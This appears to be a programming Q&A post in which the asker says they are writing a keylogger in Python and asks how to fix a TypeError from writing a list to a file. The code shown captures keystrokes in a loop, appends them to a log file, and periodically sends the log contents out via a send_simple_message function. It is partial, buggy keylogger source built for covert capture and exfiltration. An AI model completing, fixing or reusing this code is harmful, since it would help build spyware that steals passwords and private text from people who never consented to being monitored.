title: TypeError: write() argument must be str, not list
body: <p><strong>def</strong> <strong>file_input(recorded):</strong></p>
  
  <pre><code>now_time = datetime.datetime.now()
  w = open("LOG.txt", 'a')
  w.write(recorded)
  w.write("\n")
  w.write(now_time)
  w.write("--------------------------------------")
  w .close()
  </code></pre>
  
  <p>if <strong>name</strong> == "<strong>main</strong>":</p>
  
  <pre><code>while 1:
  
      status = time.localtime()
      result = []
      keyboard.press_and_release('space')
      recorded = keyboard.record(until='enter')
      file_input(recorded)
      if (status.tm_min == 30):
          f = open("LOG.txt", 'r')
          file_content = f.read()
          f.close()
          send_simple_message(file_content)
  </code></pre>
  
  <p>im trying to write a keylogger in python and i faced type error like that how can i solve this problem? </p>
  
  <p>i just put in recorded variable into write() and it makes type error and recorded variable type is list. so i tried use join func but it doesn't worked</p>